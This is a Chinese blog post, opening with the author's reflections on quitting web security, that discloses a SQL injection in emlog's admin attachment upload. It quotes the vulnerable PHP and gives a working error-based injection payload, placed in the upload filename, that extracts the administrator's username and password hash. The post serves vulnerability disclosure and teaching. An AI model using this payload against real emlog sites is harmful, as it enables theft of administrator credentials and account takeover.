emlog后台作者权限SQL注入

    实话说,以后不想再挖web漏洞了,也不想发这类文章,web的东西搞来搞起就是那个样,我原本就不想深入,想那些大神一样能把一个cms分析得透彻。我有时候只是泛泛地看,泛泛地找一些简单的漏洞,深入又得花不少时间,而且做出的东西也不一定尽如人意。前段时间总有种刷分刷钱的想法,结果后来都是化为泡影,估计也是因为自己对待漏洞的态度不正确,有时候也是受到他人的影响。

    前几天某人问到我的一个学长,我才知道有些人虽然不常在网络上出现但实际上真正有实力的人完全不需要混脸熟。曾经我没接触web的时候多么向往去成为一个能写木马的人,也曾经确确实实分析过一段时间的gh0st,写过一些C++程序。

    这几天有个朋友在我博客留言问我为什么gh0st的文章不继续写了,我无言以对。自己这么久执迷于python和php,似乎完全忘记自己的初衷。半年前我曾经抱怨自己,学了很多东西但实际上有关安全的知识自己知道的并不多,诸如逆向、免杀、漏洞分析。半年后的我虽然真正去研究起安全(不敢说精通web安全但也对各种web漏洞十分熟悉),但真的像自己想的那样,能成为一个了不起的安全研究者吗。

    可能自己的路走偏了,web不是我的方向,我只是为了让自己更快更简单地成为一个所谓的“黑客”才去选择web安全。

    我希望自己能在二进制代码与程序的路上,做一名安全研究者,虽然要比web上难走许多。在此之前,我把自己这几天写过的文章发在我博客,以后不想继续了。可能在听到别人说到xxcms注入或getshell的时候还是会心动,但坚持自己的本心,我相信理想一定会实现。


    后台上传附件处,代码在/admin/attachment.php:

//上传附件
if ($action == 'upload') {
	$logid = isset($_GET['logid']) ? intval($_GET['logid']) : '';
	$attach = isset($_FILES['attach']) ? $_FILES['attach'] : '';
	if ($attach) {
		for ($i = 0; $i < count($attach['name']); $i++) {
			if ($attach['error'][$i] != 4) {
				$isthumbnail = Option::get('isthumbnail') == 'y' ? true : false;
				$file_info = uploadFile($attach['name'][$i], $attach['error'][$i], $attach['tmp_name'][$i], $attach['size'][$i], Option::getAttType(), false, $isthumbnail);
				// 写入附件信息
				$query = "INSERT INTO " . DB_PREFIX . "attachment (blogid, filename, filesize, filepath, addtime, width, height, mimetype, thumfor) VALUES ('%s','%s','%s','%s','%s','%s','%s','%s', 0)";
				$query = sprintf($query, $logid, $file_info['file_name'], $file_info['size'], $file_info['file_path'], time(), $file_info['width'], $file_info['height'], $file_info['mime_type']);
				$DB->query($query);
				$aid = $DB->insert_id();
				$DB->query("UPDATE " . DB_PREFIX . "blog SET attnum=attnum+1 WHERE gid=$logid");
				// 写入缩略图信息
				if (isset($file_info['thum_file'])) {
					$query = "INSERT INTO " . DB_PREFIX . "attachment (blogid, filename, filesize, filepath, addtime, width, height, mimetype, thumfor) VALUES ('%s','%s','%s','%s','%s','%s','%s','%s','%s')";
					$query = sprintf($query, $logid, $file_info['file_name'], $file_info['thum_size'], $file_info['thum_file'], time(), $file_info['thum_width'], $file_info['thum_height'], $file_info['mime_type'], $aid);
					$DB->query($query);		
				}
			}
		}
	}
	emDirect("attachment.php?action=attlib&logid=$logid");
}

    接受来的$_FILE变量,直接赋值给$attach 参数。其后调用uploadFile函数上传文件,将上传后的信息赋值给$file_info,而$file_info[‘file_name’]是直接赋值的$attach[‘name’][$i]。最后将$file_info带入查询,造成了注入。

    下面是演示。当你拥有后台作者权限后,登录后台发表文章处,上传一个图片,中途抓包:

    01.jpg

    如图,将filename修改成:
    info’,(select 1 from  (select count(*),concat((select concat(username, 0x23, password) from emlog_user limit 0,1),floor(rand(0)*2))x from  information_schema.tables group by x)p),”,”,’0′,’0′,”, 0)#.jpg
    一个显错注入。发包以后查看回复包:

    02.jpg

    如图,可以得到管理员密码的hash。图中显示的不全是因为显错注入显示的长度有限,可以使用mysql的substring函数截取一部分显示,分两次注入完毕。
    需要后台登录,虽然比较鸡肋,但某些emlog用户使用了自助注册等插件导致任何人可以注册成为作者,并轻易获取管理员权限。

相关推荐: WTForm的URLXSS谈开源组件的安全性

开源组件是我们大家平时开发的时候必不可少的工具,所谓『不要重复造轮子』的原因也是因为,大量封装好的组件我们在开发中可以直接调用,减少了重复开发的工作量。 开源组件和开源程序也有一些区别,开源组件面向的使用者是开发者,而开源程序就可以直接面向用户。开源组件,如J…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论